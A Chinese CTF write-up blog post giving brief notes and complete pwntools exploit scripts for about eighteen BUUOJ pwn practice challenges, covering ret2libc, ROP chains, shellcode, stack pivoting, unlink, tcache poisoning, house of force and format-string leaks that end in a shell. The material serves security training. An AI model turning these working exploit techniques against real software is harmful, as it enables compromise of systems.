继多日未做题后的第一次做题,有时间就写写,之前做的题目就懒得再写了(没错,懒🐕说的就是👴了)。
PicoCTF_2018_buffer_overflow_1 基本啥保护都没开,水题,ret2win exp:
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *context.log_level='debug' p=remote('node3.buuoj.cn' ,27371 ) elf=ELF('./PicoCTF_2018_buffer_overflow_1' ) buf=0x28 win=0x80485cb payload='a' *buf+p32(0 )+p32(win) p.sendline(payload) p.interactive()
PicoCTF_2018_buffer_overflow_2 开了NX,水题,ret2win的时候记得加两个参数
exp:
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *context.log_level='debug' p=remote('node3.buuoj.cn' ,25990 ) elf=ELF('./PicoCTF_2018_buffer_overflow_2' ) buf=0x6c win=0x80485cb p.recvuntil('string:' ) payload='a' *buf+p32(0 )+p32(win)+'aaaa' +p32(0xDEADBEEF )+p32(0xDEADC0DE ) p.send(payload) p.interactive()
0ctf_2017_babyheap 初步观察使用calloc,free后置空,但是存在堆溢出,可以add到fastbin修改malloc_hook为onegadget,这里有一个gadget可用 注意这里泄露地址,一开始我没想到,利用的是扩充堆. edit可以改变size,但是改变不了记录堆信息位置的size, 为了输出足够长,就要用前一个堆溢出改变size字段,另外注意后一个堆块伪造大小和前面对上。 另外注意伪造之后把这个堆edit free后进行修复,不然会报错.
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 from pwn import *context.log_level='debug' context.arch = 'amd64' p=remote('node3.buuoj.cn' ,29740 ) elf=ELF('./0ctf_2017_babyheap' ) def add (size) : p.recvuntil('Command: ' ) p.sendline('1' ) p.recvuntil('Size: ' ) p.sendline(str(size)) def edit (index,content) : p.recvuntil('Command: ' ) p.sendline('2' ) p.recvuntil('Index: ' ) p.sendline(str(index)) p.recvuntil('Size: ' ) p.sendline(str(len(content))) p.recvuntil('Content: ' ) p.send(content) def free (index) : p.recvuntil('Command: ' ) p.sendline('3' ) p.recvuntil('Index: ' ) p.sendline(str(index)) def show (index) : p.recvuntil('Command: ' ) p.sendline('4' ) p.recvuntil('Index: ' ) p.sendline(str(index)) add(0x18 ) add(0x30 ) add(0x80 ) add(0x18 ) add(0x68 ) payload=p64(0 )*3 +p64(0x71 ) edit(2 ,payload) payload='a' *0x18 +p64(0x61 ) edit(0 ,payload) free(1 ) add(0x50 ) payload='a' *0x38 +p64(0x91 ) edit(1 ,payload) free(2 ) payload='a' *0x38 +'b' *8 edit(1 ,payload) show(1 ) p.recvuntil('bbbbbbbb' ) unsorted=u64(p.recv(6 ).ljust(8 ,'\x00' )) malloc_hook=unsorted-0x58 -0x10 print(hex(malloc_hook)) base=malloc_hook-0x3c4b10 one_gadget=base+0x4526a payload='a' *0x38 +p64(0x91 ) edit(1 ,payload) add(0x60 ) free(4 ) payload='a' *0x18 +p64(0x71 )+p64(malloc_hook-0x23 ) edit(3 ,payload) add(0x68 ) add(0x68 ) payload='a' *0x13 +p64(one_gadget) edit(5 ,payload) add(0x10 ) p.interactive()
axb_2019_heap libc2.23的64位堆题目,因为存在全局变量note,所以可以使用unlink攻击,开启PIE,开始有一个格式化字符串,使用格式化字符串泄露地址(根据栈上内容调试泄露),free后置空所以没有uaf 这里泄露的地址可以大致看一下,输入的是%14$p.%15$p 先到printf这里断一下看一下栈上内容 接下来看一下我们格式化字符串的输出 这个地址就是PIE 偏移的libc csu_init函数地址(泄露PIE)和__libc_start_main+240的函数地址(泄露libc基址) 进而通过计算得出PIE和libc基址 这里注意一下进行unlink的时候的全局变量note的存储结构 接下来就直接通过unlink修改global表的位置,将idx=2(global[4])的位置的内容修改成指向global[1]位置(idx=2-0x18),然后修改idx=1的指针指向,指向freehook或者mallochook,修改成system或者onegadget就可以getshell,下面的exp两种方法都写了 exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 from pwn import *context.log_level='debug' context.arch = 'amd64' p=remote('node3.buuoj.cn' ,29498 ) elf=ELF('./axb_2019_heap' ) def add (inx,size,data) : p.recvuntil('>> ' ) p.sendline('1' ) p.recvuntil('create (0-10):' ) p.sendline(str(inx)) p.recvuntil('a size:' ) p.sendline(str(size)) p.recvuntil('content: ' ) p.send(data) def free (inx) : p.recvuntil('>> ' ) p.sendline('2' ) p.recvuntil('index:' ) p.sendline(str(inx)) def edit (inx,data) : p.recvuntil('>> ' ) p.sendline('4' ) p.recvuntil('index' ) p.sendline(str(inx)) p.recvuntil('content: ' ) p.send(data) p.recvuntil('your name: ' ) p.sendline('%14$p.%15$p' ) p.recvuntil('Hello, ' ) pie=int(p.recv(14 ),16 )-0x1200 p.recvuntil('.' ) __libc_start_main=int(p.recv(14 ),16 )-240 libc_base=__libc_start_main-0x20740 print(hex(pie)) print(hex(libc_base)) global_addr=pie+0x202060 system=libc_base+0x045390 free_hook=libc_base+0x03c67a8 onegadget=libc_base+0xf1147 malloc_hook=libc_base+0x03c4b10 print(hex(global_addr)) victim=global_addr+0x20 add(0 ,0x88 ,'/bin/sh\x00\n' ) add(1 ,0x88 ,'a\n' ) add(2 ,0x88 ,'a\n' ) add(3 ,0x88 ,'a\n' ) payload=p64(0 )+p64(0x80 )+p64(victim-0x18 )+p64(victim-0x10 ) payload=payload.ljust(0x80 ,'a' ) payload+=p64(0x80 )+p8(0x90 )+'\n' edit(2 ,payload) free(3 ) ''' payload=p64(0x88)+p64(malloc_hook)+'aa\n' edit(2,payload) edit(1,p64(onegadget)+'\n') p.recvuntil('>> ') p.sendline('1') p.recvuntil('create (0-10):') p.sendline(5) p.recvuntil('a size:') p.sendline('0x88') p.recvuntil('content: ') p.interactive() ''' payload=p64(0x88 )+p64(free_hook)+'aa\n' edit(2 ,payload) edit(1 ,p64(system)+'\n' ) free(0 ) p.interactive()
hitcontraining_heapcreator 64位libc2.23堆题目,未开启pie保护,free后置空了,单字节溢出,有global数组,(开始想麻烦了,想用unlink做),可以存放十个chunk,考虑使用overlap正确思路: 单字节溢出修改堆大小,将维护chunk放在信息chunk后覆盖写入free_got地址,show输出对应地址泄露libc,修改free得got表地址为system,free含/bin/sh的堆块getshell exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 from pwn import *context.log_level='debug' context.arch = 'amd64' p=remote('node3.buuoj.cn' ,29198 ) elf=ELF('./heapcreator' ) global_addr=0x6020a0 def add (size,data) : p.recvuntil('Your choice :' ) p.sendline('1' ) p.recvuntil('Heap :' ) p.sendline(str(size)) p.recvuntil('heap:' ) p.send(data) def edit (inx,data) : p.recvuntil('Your choice :' ) p.sendline('2' ) p.recvuntil('Index' ) p.sendline(str(inx)) p.recvuntil('heap :' ) p.send(data) def show (inx) : p.recvuntil('Your choice :' ) p.sendline('3' ) p.recvuntil('Index' ) p.sendline(str(inx)) p.recvuntil('Content : ' ) def free (inx) : p.recvuntil('Your choice :' ) p.sendline('4' ) p.recvuntil('Index' ) p.sendline(str(inx)) add(0x18 ,'a' ) add(0x10 ,'a' ) edit(0 ,'/bin/sh\x00' +'a' *0x10 +'\x41' ) free(1 ) free_got = elf.got['free' ] add(0x30 ,p64(0 )*4 +p64(0x30 )+p64(free_got)) show(1 ) libc=u64(p.recvuntil('\x7f' ).ljust(8 ,'\x00' ))-0x844f0 print(hex(libc)) system=libc+0x045390 edit(1 ,p64(system)) free(0 ) p.interactive()
ciscn_s_9 ubuntu18,32位ret2libc,水题不解释 exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwn import *context.log_level='debug' context.arch = 'amd64' p=remote('node3.buuoj.cn' ,25569 ) elf=ELF('./ciscn_s_9' ) main=elf.symbols['main' ] puts_got=elf.got['puts' ] puts_plt=elf.plt['puts' ] offset=36 p.recvuntil('>' ) payload=offset*'a' +p32(puts_plt)+p32(main)+p32(puts_got) p.sendline(payload) p.recvuntil('~\n' ) puts_addr=u32(p.recv(4 )) print(hex(puts_addr)) libc=puts_addr-0x067360 bin_sh=libc+0x17b8cf system=libc+0x03cd10 p.recvuntil('>' ) payload=offset*'a' +p32(system)+p32(main)+p32(bin_sh) p.sendline(payload) p.interactive()
ciscn_final_5 64位,ubuntu18堆题目,tcache机制。 分析,只有add,edit,free,考虑使用unsorted 泄露地址,修改free的got表泄露地址和getshell 由于判断不严谨使得0x0和0x10是一样的,导致0x10的堆溢出,同时0x10堆无法直接修改,可以通过修改0x0修改这个溢出是为什么呢?
这里是因为: add的时候,由于buf后几位是0x260,index是0x10,也就是说二者’或’之后是0x270,size大小不变情况下,存放chunk位置的地方向后移位0x10,edit会向后多写0x10
解题思路: 利用溢出0x10来修改fd,add一个unsorted并free再次add,随后利用tcache attack在free_got的位置add一个chunk,修改为puts利用unsorted bins attack泄露libc基址,再次修改free_got地址为system,free一个含/bin/sh\x00的堆块getshell 注意这里chunk储存,记得计算相应填充和偏移,以及位置改变造成的index改变 exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from pwn import *context.log_level='debug' p=remote('node3.buuoj.cn' ,27559 ) elf=ELF('./ciscn_final_5' ) free_plt=elf.plt['free' ] free_got=elf.got['free' ] puts_plt=elf.plt['puts' ] def add (index,size,content) : p.recvuntil('choice: ' ) p.sendline('1' ) p.recvuntil('index:' ) p.sendline(str(index)) p.recvuntil('size:' ) p.sendline(str(size)) p.recvuntil('content: ' ) p.send(content) def free (index) : p.recvuntil('choice: ' ) p.sendline('2' ) p.recvuntil('index:' ) p.sendline(str(index)) def edit (index,content) : p.recvuntil('choice: ' ) p.sendline('3' ) p.recvuntil('index:' ) p.sendline(str(index)) p.recvuntil('content: ' ) p.send(content) add(0x10 ,0x18 ,'a' ) add(1 ,0x68 ,'a' ) add(4 ,0x500 ,'a' ) add(2 ,0x28 ,'/bin/sh\x00' ) free(4 ) free(1 ) payload='a' *8 +p64(0x71 )+p64(free_got) edit(0 ,payload) add(3 ,0x68 ,p64(free_got)) add(5 ,0x68 ,p64(puts_plt)) add(4 ,0x500 ,'aaaaaaaa' ) free(4 ) p.recvuntil('aaaaaaaa' ) malloc_hook=u64(p.recvuntil('\x7f' ).ljust(8 ,'\x00' ))-0x60 -0x10 print(hex(malloc_hook)) libc=malloc_hook-0x03ebc30 system=libc+0x04f440 payload='a' *8 +p64(system) edit(13 ,payload) free(2 ) p.interactive()
PicoCTF_2018_can-you-gets-me 静态链接,水题直接打 exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 from pwn import *from struct import packcontext.log_level='debug' context.arch = 'amd64' sh=remote('node3.buuoj.cn' ,26595 ) elf=ELF('./PicoCTF_2018_can-you-gets-me' ) p = '' p += pack('<I' , 0x0806f02a ) p += pack('<I' , 0x080ea060 ) p += pack('<I' , 0x080b81c6 ) p += '/bin' p += pack('<I' , 0x080549db ) p += pack('<I' , 0x0806f02a ) p += pack('<I' , 0x080ea064 ) p += pack('<I' , 0x080b81c6 ) p += '//sh' p += pack('<I' , 0x080549db ) p += pack('<I' , 0x0806f02a ) p += pack('<I' , 0x080ea068 ) p += pack('<I' , 0x08049303 ) p += pack('<I' , 0x080549db ) p += pack('<I' , 0x080481c9 ) p += pack('<I' , 0x080ea060 ) p += pack('<I' , 0x080de955 ) p += pack('<I' , 0x080ea068 ) p += pack('<I' , 0x0806f02a ) p += pack('<I' , 0x080ea068 ) p += pack('<I' , 0x08049303 ) p += pack('<I' , 0x0807a86f ) p += pack('<I' , 0x0807a86f ) p += pack('<I' , 0x0807a86f ) p += pack('<I' , 0x0807a86f ) p += pack('<I' , 0x0807a86f ) p += pack('<I' , 0x0807a86f ) p += pack('<I' , 0x0807a86f ) p += pack('<I' , 0x0807a86f ) p += pack('<I' , 0x0807a86f ) p += pack('<I' , 0x0807a86f ) p += pack('<I' , 0x0807a86f ) p += pack('<I' , 0x0806cc25 ) sh.recvuntil("ME" ) offset=0x1c payload=offset*'a' +p sh.sendline(payload) sh.interactive()
PicoCTF_2018_shellcode 静态链接shellcode,水题,直接用shellcraft打 exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import *from struct import packcontext.log_level='debug' context.arch = 'i386' sh=remote('node3.buuoj.cn' ,29766 ) elf=ELF('./PicoCTF_2018_shellcode' ) shellcode=asm(shellcraft.sh()) sh.recvuntil("string" ) payload=shellcode sh.sendline(payload) sh.interactive()
ACTF_2019_babystack libc2.27 x64位栈迁移 要注意的是迁移后8位’a’填充,以及payload发送时候使用send发送,避免多发送,这里使用system打不通所以用onegadget exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 from pwn import *from struct import packcontext.log_level='debug' context.arch = 'amd64' p=remote('node3.buuoj.cn' ,26225 ) elf=ELF('./ACTF_2019_babystack' ) puts_got=elf.got['puts' ] puts_plt=elf.plt['puts' ] read_plt=elf.plt['read' ] main=0x4008f6 leave_ret=0x400a18 pop_rdi=0x0400ad3 pop_rsi=0x400ad1 p.recvuntil('>' ) p.sendline(str(0xe0 )) p.recvuntil(' at ' ) stack=int(p.recv(14 ),16 ) print(hex(stack)) payload='a' *8 +p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main) payload=payload.ljust(0xd0 ,'a' ) payload+=p64(stack)+p64(leave_ret) p.recvuntil('message?' ) p.send(payload) p.recvuntil('Byebye~\n' ) puts_addr=u64(p.recv(6 ).ljust(8 ,'\x00' )) print(hex(puts_addr)) libc=puts_addr-0x809c0 system=libc+0x4f440 bin_sh=libc+0x1b3e9a one_gadget=libc+0x4f322 p.recvuntil('message?' ) p.sendline(str(0xe0 )) p.recvuntil(' at ' ) stack=int(p.recv(14 ),16 ) payload='a' *8 +p64(one_gadget)+'\x00' *0xc0 payload+=p64(stack)+p64(leave_ret) p.recvuntil('message?' ) p.send(payload) p.interactive()
#PicoCTF_2018_buffer_overflow_1 32位,把flag读入bss段,只要栈溢出后用puts输出flag即可,唯一值得注意的是是用ssh连接上后做题 不过值得庆幸的是有pwntools,直接打就可 exp:
1 2 3 4 5 6 from pwn import *context.log_level = "debug" elf = ELF("./vuln" ) payload = "a" * 0x18 + "b" * 0x4 + p32(elf.plt["puts" ]) + p32(0xdeadbeef ) + p32(0x0804A080 ) p = process(argv=["./vuln" , payload]) p.interactive()
bcloud_bctf_2016 32位堆题目,libc2.23,house of force 大致先检查:发现在add/edit/free地方都没有明显漏洞, 这道题目的漏洞在开始的地方,读入一个内容复制后输出(本来以为是栈溢出,结果不是 ) 主要漏洞所在:
读入name处: name这里栈上紧邻的下一个就是name_chunk的位置,通过填充64个字符。可以进一步带出泄露chunk基址
读入org和host处: org与org相邻
这样我们往org中传入64个字节,往Host中传入\xff\xff\xff\xff,当将org拷入arg指向的堆时,就会将org+ org+Host一块考入,覆盖了后边的top chunk大小,导致top chunk无限大。 达成house of force后申请足够大堆块,到记录chunk的位置,加上free,atoi地址*2(这里是一个用来泄露atoi地址,一个换成systemgetshell)。
另外注意这里地址的计算,list在前面,所以add到list之前 注意这里-4是因为add的时候会自动+4,-7是为了对齐size=(chunk_num_list-8)-heap_addr-3*0x48- 4-7 还有一点要注意,在force攻击后,就无法输入content,所以直接进入下一步 exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 from pwn import *context.log_level='debug' context.arch = 'i386' p=remote('node3.buuoj.cn' ,28926 ) elf=ELF('./bcloud_bctf_2016' ) chunk_list=0x804B120 chunk_num_list=0x0804B0A0 puts_plt=elf.plt['puts' ] def add (size,data) : p.recvuntil('option--->>' ) p.sendline('1' ) p.recvuntil('content:' ) p.sendline(str(size)) p.recvuntil('content:' ) p.sendline(data) def edit (inx,data) : p.recvuntil('option--->>' ) p.sendline('3' ) p.recvuntil('the id:' ) p.sendline(str(inx)) p.recvuntil('content:' ) p.sendline(data) def free (inx) : p.recvuntil('option--->>' ) p.sendline('4' ) p.recvuntil('id:' ) p.sendline(str(inx)) p.recvuntil('name:' ) name='a' *60 +'b' *4 p.send(name) p.recvuntil('bbbb' ) heap_addr=u32(p.recv(4 ))-0x8 print(hex(heap_addr)) p.recvuntil('Org:' ) org='a' *64 p.send(org) p.recvuntil('Host:' ) host='\xff\xff\xff\xff' p.sendline(host) size=(chunk_num_list-8 )-heap_addr-3 *0x48 - 4 -7 p.recvuntil('option--->>' ) p.sendline('1' ) p.recvuntil('content:' ) p.sendline(str(size)) payload = p32(16 ) * 3 + (chunk_list - chunk_num_list- 12 ) * 'a' + p32(elf.got['free' ]) + p32(elf.got['atoi' ]) * 2 add(1000 ,payload) edit(0 ,p32(puts_plt)) free(1 ) p.recv() atoi_addr=u32(p.recv(4 )) libc_base=atoi_addr-0x02d050 print(hex(libc_base)) system_addr=libc_base+0x03a940 edit(2 ,p32(system_addr)) p.recvuntil('option--->>' ) p.sendline('/bin/sh\x00' ) p.interactive()
xctf_b0verfl0w_2016 简单的32位ret2libc,唯一需要注意的是,本地和远程libc不同 exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from pwn import *context.log_level='debug' context.arch = 'i386' p=remote('node3.buuoj.cn' ,27058 ) elf=ELF('./b0verfl0w' ) main=0x804850e puts_plt=elf.plt['puts' ] puts_got=elf.got['puts' ] offset=0x24 p.recvuntil('name?' ) payload='a' *offset+p32(puts_plt)+p32(main)+p32(puts_got) p.sendline(payload) p.recvuntil('\x0a\x2e' ) puts_addr=u32(p.recv(4 )) libc=puts_addr-0x05f140 print(hex(libc)) system=libc+0x03a940 bin_sh=libc+0x15902b ''' #local success libc6_2.23-0ubuntu10_i386 libc=puts_addr-0x05fca0 print(hex(libc)) system=libc+0x03ada0 bin_sh=libc+0x15ba0b ''' p.recvuntil('name' ) payload='a' *offset+p32(system)+p32(0 )+p32(bin_sh) p.sendline(payload) p.interactive()
judgement_mna_2016 32位,格式化字符串直接泄露flag,注意偏移地址的计算
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 0392| 0xffffcf10 --> 0xffffcfbc --> 0x80486f5 (<init+104>: test eax,eax) 0396| 0xffffcf14 --> 0x40 ('@') #!!!!@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ --More--(100/300) 0400| 0xffffcf18 --> 0xf7ffdad0 --> 0xf7ffda74 --> 0xf7fd3470 --> 0xf7ffd918 --> 0x0 0404| 0xffffcf1c --> 0xf7fd34a0 --> 0x8048397 ("GLIBC_2.0") 0408| 0xffffcf20 --> 0x1 0412| 0xffffcf24 --> 0x1 0416| 0xffffcf28 --> 0x0 0420| 0xffffcf2c --> 0xf7fb6000 --> 0x1b1db0 0424| 0xffffcf30 --> 0xf7e78ce5 (<strchr+5>: add edx,0x13d31b) 0428| 0xffffcf34 --> 0xf7fe796a (<_dl_fixup+394>: jmp 0xf7fe78d2 <_dl_fixup+242>) 0432| 0xffffcf38 --> 0xf7e622e9 (<__fopen_maybe_mmap+9>: add edx,0x153d17) 0436| 0xffffcf3c --> 0xf7e621ed (<_IO_fgets+157>: add esp,0x20) 0440| 0xffffcf40 --> 0xf7ffd000 --> 0x23f3c 0444| 0xffffcf44 --> 0x80482e8 --> 0x62696c00 ('') 0448| 0xffffcf48 --> 0x3f ('?') 0452| 0xffffcf4c --> 0xa ('\n') 0456| 0xffffcf50 --> 0x1 0460| 0xffffcf54 --> 0xf7e0f298 --> 0x2419 0464| 0xffffcf58 --> 0xf7fb6d60 --> 0xfbad2887 0468| 0xffffcf5c --> 0xf7e642d8 (<__GI__IO_setbuffer+200>: add esp,0x10) 0472| 0xffffcf60 --> 0xf7fe77eb (<_dl_fixup+11>: add esi,0x15815) 0476| 0xffffcf64 --> 0x804a000 --> 0x8049f14 --> 0x1 0480| 0xffffcf68 --> 0x2 0484| 0xffffcf6c --> 0x1 0488| 0xffffcf70 --> 0xffffcfb8 --> 0xffffcfe8 --> 0x1 0492| 0xffffcf74 --> 0xf7fee010 (<_dl_runtime_resolve+16>: pop edx) 0496| 0xffffcf78 --> 0x804b0a0 --> 0x0 --More--(125/300) 0500| 0xffffcf7c --> 0xf7e93420 (<__strchr_sse2_bsf>: push edi) 0504| 0xffffcf80 --> 0x804a0a0 ("flag{0x804A0A0}") #!!!!@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import *context.log_level='debug' context.arch = 'i386' p=remote('node3.buuoj.cn' ,28803 ) elf=ELF('./judgement_mna_2016' ) flag=0x0804a0a0 offset=0xcf80 -0xcf10 print(offset/4 ) p.recv() payload='%28$s' p.sendline(payload) p.interactive()
oneshot_tjctf_2016 简单的输入函数地址,获得地址计算libc然后输入one_gadget exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import *context.log_level='debug' context.arch = 'i386' p=remote('node3.buuoj.cn' ,29574 ) elf=ELF('./oneshot_tjctf_2016' ) puts_got=elf.got['puts' ] p.recvuntil('location?' ) payload=str(puts_got) p.sendline(payload) p.recvuntil('Value: ' ) puts_addr=int(p.recv(18 ),16 ) print(hex(puts_addr)) base=puts_addr-0x06f690 print(hex(base)) one_gadget=base+0x45216 p.recvuntil('location?' ) payload=str(one_gadget) p.sendline(payload) p.interactive()
ciscn_s_6 libc2.27 x64堆题目,tcache dup,tcache poisoning,free_hook,uaf 简单的uaf漏洞,利用tcache修改freehook为system即可注意这道题目用malloc hook和one gadget打不通 exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 from pwn import *context.log_level='debug' p=remote('node3.buuoj.cn' ,29047 ) elf=ELF('./ciscn_s_6' ) def add (size,name,call) : p.recvuntil('choice:' ) p.sendline('1' ) p.recvuntil("size of compary's name" ) p.sendline(str(size)) p.recvuntil('input name:' ) p.send(name) p.recvuntil('compary call:' ) p.send(call) def show (index) : p.recvuntil('choice:' ) p.sendline('2' ) p.recvuntil('the index:' ) p.sendline(str(index)) p.recvuntil('name:\n' ) addr=u64(p.recvuntil('\x7f' ).ljust(8 ,'\x00' )) return addr def free (index) : p.recvuntil('choice:' ) p.sendline('3' ) p.recvuntil('the index:' ) p.sendline(str(index)) add(0x500 ,'aa' ,'11' ) add(0x68 ,'aa' ,'11' ) free(0 ) unsorted=show(0 ) malloc_hook=unsorted-0x60 -0x10 libc=malloc_hook-0x3ebc30 print(hex(unsorted)) print(hex(malloc_hook)) print(hex(libc)) one_gadget=libc+0x4f322 realloc=libc+0x98c30 free_hook=libc+0x3ed8e8 system=libc+0x04f440 bin_sh=libc+0x1b3e9a add(0x68 ,'/bin/sh\x00' ,'22' ) free(1 ) free(1 ) ''' #all onegadget is useless, so we use free_hook here add(0x68,p64(malloc_hook-0x10),'aa')#3 add(0x68,p64(malloc_hook-0x10),'aa')#4 add(0x68,'a'*8+p64(one_gadget)+p64(realloc+0xd),'bb') ''' add(0x68 ,p64(free_hook),'aa' ) add(0x68 ,p64(free_hook),'aa' ) add(0x68 ,p64(system),'aa' ) free(2 ) p.interactive() ''' 0x4f2c5 execve("/bin/sh", rsp+0x40, environ) '''
PicoCTF_2018_are_you_root 64位题目,主要是利用free后用户名残留部分可作为下一个的权限来getshell add一个并设置权限为4
1 2 3 4 5 6 Logged in as aaaaaaaaaaaaaaaaa [4] gdb-peda$ x/20gx 0x603660 0x603660: 0x0000000000000000 0x0000000000000021 维护信息的chunk 0x603670: 0x0000000000603690 0x0000000000000004 用户1用户名地址 权限 0x603680: 0x0000000000000000 0x0000000000000021 0x603690: 0x6161616161616161 0x6161616161616161
free的时候只会free掉用户名的地方,然后再次add就会在原来用户名地方add一个chunk reset后
1 2 3 4 5 6 7 gdb-peda$ x/20gx 0x603660 0x603660: 0x0000000000000000 0x0000000000000021 维护信息的chunk 0x603670: 0x0000000000603690 0x0000000000000004 用户1用户名地址 权限 0x603680: 0x0000000000000000 0x0000000000000021 0x603690: 0x0000000000000000 0x6161616161616161 这里只清空了fd,bk也就是下一个chunk的权限字段没有变,可以进一步修改内容 再次add一个用户后查看权限 Logged in as aa [1633771873]
所以思路很明显了,通过用户名提前布置好下一个用户的权限,进而获得flag
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwn import *context.log_level='debug' p=remote('node3.buuoj.cn' ,27333 ) elf=ELF('./PicoCTF_2018_are_you_root' ) def reset () : p.recvuntil('> ' ) p.sendline('reset' ) def login (name) : p.recvuntil('> ' ) p.sendline('login ' +name) def getflag () : p.sendline('get-flag' ) payload='a' *8 +p64(5 ) login(payload) reset() login('aa' ) getflag() p.interactive()